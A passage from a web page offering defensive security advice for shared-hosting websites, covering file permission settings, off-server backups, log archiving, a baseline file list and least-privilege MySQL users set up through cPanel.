determine
who can read or write that file, execute that program, or enter that
folder. Your webhost initially created your webspace with secure
permission settings on all files and folders.

Do not modify the permissions until you
know what you’re doing. Don’t guess. One mistake can allow any other
account on your shared server to put files on
your site, or allow anyone in the world to put files there by first
getting into a weaker website on your shared server and running
a malicious PHP script from there.

People having trouble installing web applications on their site are
sometimes told to try setting the Linux permissions to 777 (for folders)
or 666 (for files). Those permission levels are
sometimes necessary, but they are a hazard and should only be used for
folders and files for which it’s absolutely necessary and only
during times when it’s absolutely necessary. For example, sometimes 777
only needs to be used during installation or during
configuration changes or software upgrades.
At other times, the application might function just fine even if you
change the permissions back to more secure settings. In other
words, if you need to use insecure permissions, try to minimize the
amount of time they are in effect. There is no reason to leave
permission levels low all the time if you only need them to be that way
occasionally. Also, if software installation instructions tell you to
delete the installation
script itself after use, remember to do it. If it’s left on the server,
someone else who knows it’s there (or knows it should
be there) can run it, just like you can.

A separate article has a short explanation
of
permissions settings.

Preparations that will make hack diagnosis and cleanup easier

1)
Always have a backup copy of your entire website and its databases

You can use FTP and/or cPanel > Backups. Keep the backup somewhere
not on your server, such as on your local PC or a DVD.
Even if your webhost does backups, make a separate set for yourself. Do a
new backup whenever there is enough new content that you
don’t want to have to redo the work. Keep more than one “generation” of
backups. For example, if you backup monthly, keep separate
versions from 1 month ago and from 2 months ago. This guards against
backing up your site after it’s been infected but before you
discovered it. You’ll still have (hopefully) a slightly older backup
that isn’t infected. For the same reason, don’t backup too
often.

2)
Turn on log archiving in cPanel now

Your raw HTTP and FTP logs are an important source of information
after an attack, but the logs are normally deleted each day.
Enable
archiving to allow them to
accumulate and preserve the evidence after an attack. Periodically
download and review the logs to see what kinds of attacks are being
launched against your site. As is so often the case, becoming familiar
with what is normal will help you detect when something is
not. Accumulated logs can take a lot of disk space, so you might want to
delete old ones from the server periodically.

3)
Get a complete list of your site files
NOW while they are
known-good

This article
describes how to get a list of all the files in your website.
If you do it now, it will be a baseline list of the files you can assume
are supposed to be there. If your site gets damaged, the list will help
you decide whether a file you don’t
recognize is new or is just a system file that you never noticed before.

4) Explore your website and become familiar with what is there

Not just your pages, but the whole site, using FTP or File Manager or
the
complete file list you made. If you get used
to what is normal, things that aren’t will catch your attention.

5) Use good database connection
practices in scripts:

a) Create separate MySQL users for your scripts to use

If you use your cPanel userID and password for database connections
in your
scripts,
then changing your cPanel password will instantly break all your scripts
until you
recode them to use the new password.

Instead, create one or more new users, completely unrelated to
your
cPanel login, that your scripts can use for their database connections:

1. Go to cPanel > MySQL®
   Databases >
   Current Users.
2. In Username:
   enter the name of the user to create. Although the existing user names
   might
   appear as YourUserID_username, don’t enter the prefix and
   underscore.
   cPanel will do that for you, if needed.
3. In Password:
   enter the password to use. Make it a strong one.
4. Click Create
   User, read the confirmation screen, and then Go Back to the MySQL
   Account Maintenance page.
5. Go to the Add
   Users To Your Databases section.
6. In the left
   dropdown box, select the user you just created.
7. In the right
   dropdown box, select the database you want that user to be able
   to
   connect to.
8. Select the
   Privileges you want that user to have for that database, by checking
   the
   appropriate boxes. Select only the privileges the user really
   needs for performing whatever tasks your scripts will do.
   Granting
   only limited privileges is a security precaution.
9. Click Add
   User To Database. Your new user now has the specified privileges, for
   that database only. Add the user to other databases, if needed.

Now update your scripts so they use the connection data for this
new user instead of your old cPanel user. However, …

b) Put your MySQL connection data in a well protected file

If each of your scripts has its own code block for database
connection, then if you are hacked and have to change your passwords,
you’ll have
to hunt through all your files to find every code block that needs
changing.

Instead, put all your database connection code in one central
location such
as an include file that is well-protected from web access, and make all
your
scripts read it from there. There are examples and some discussion about
how to
do this in the User Contributed Notes at

http://us.php.net/mysql_connect. You can protect your include file
by
putting it in a folder above public_html, or in any folder that is

closed to web access by an .htaccess file, or by the other methods
mentioned
in the php.net Notes.

Unfortunately, none of these protection methods will keep your
data
safe from someone who has actually gotten into your site, but the new
database
connection method you have just created will make it easy to change your

password (in just one place) if that does happen.

Halaman terkait

• mengarahkan domain .com ke blogspot
• tutorial dasar spss
• Bagaimana Cara Memilih Webhosting
• API (Application Program Interface)
• tips dan trik ketika wawancara kerja